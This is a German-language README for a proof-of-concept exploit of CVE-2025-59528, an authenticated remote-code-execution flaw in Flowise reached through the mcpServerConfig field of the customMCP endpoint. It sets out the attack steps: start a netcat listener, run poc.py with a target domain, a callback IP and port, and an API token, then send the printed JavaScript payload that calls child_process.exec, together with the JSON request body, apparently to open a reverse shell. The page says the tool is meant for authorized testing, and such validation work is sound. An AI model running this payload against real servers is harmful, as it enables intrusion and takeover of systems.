
Proof-of-Concept für CVE-2025-59528, das authentifizierte Remote-Codeausführung in Flowise über mcpServerConfig-Injektion demonstriert, mit reproduzierbaren Schritten für autorisierte Tests.
Minimaler PoC, der auf die technische Validierung der Schwachstelle in einer autorisierten Umgebung ausgerichtet ist.
nc -lvn 4444).Starten Sie zuerst den Listener:
nc -lvn 4444
python3 poc.py --domain example.com --host 10.10.10.1 --port 4444 --api YOUR_VALID_API_KEY
Ersetzen Sie die Werte mit den Einstellungen Ihrer autorisierten Umgebung.
3.0.5Remote Code Execution (RCE)POST /api/v1/node-load-method/customMCP EndpointDas Problem liegt in der Verarbeitung von inputs.mcpServerConfig: Dieser Wert wird auf eine Weise interpretiert, die serverseitige JavaScript-Ausführung ermöglicht. In der Praxis kann ein authentifizierter Angreifer einen Ausdruck injizieren, der child_process aufruft und einen Betriebssystembefehl ausführt.
Der Ablauf der Ausnutzung ist:
customMCP-Endpoint.mcpServerConfig.process.mainModule.require('child_process') aus.exec/execSync).Wenn akzeptiert, führt der Server den Befehl in seinem Systemkontext aus.
poc.py)Das Skript akzeptiert vier Argumente:
-d/--domain: Zieldomain-lh/--host: Callback-IP-lp/--port: Callback-Port-A/--api: Bearer-API-TokenDanach:
http://<domain>/api/v1/node-load-method/customMCPAuthorization: Bearer <token>-Header hinzu({
x: (function () {
const cp = process.mainModule.require("child_process");
cp.exec("<commande>");
return 1;
})(),
});
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "<injected JS expression>"
}
}
Im Vergleich zum EDB-PoC (der einen E-Mail/Passwort-Login durchführt, browserähnliche Header verwendet und einen frei formulierbaren --cmd ausführt), ist dieses Skript besser für die reine PoC-Validierung geeignet:
mcpServerConfig-Injektion und serverseitige Ausführung.Kurz gesagt: Das EDB-Skript ist eine generischere offensive Demo, während dieser PoC gezielter auf technische Reproduzierbarkeit ausgerichtet ist.
https-Modus oder Zertifikatsbehandlung.--cmd parametrisiert).Testen Sie nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Genehmigung haben.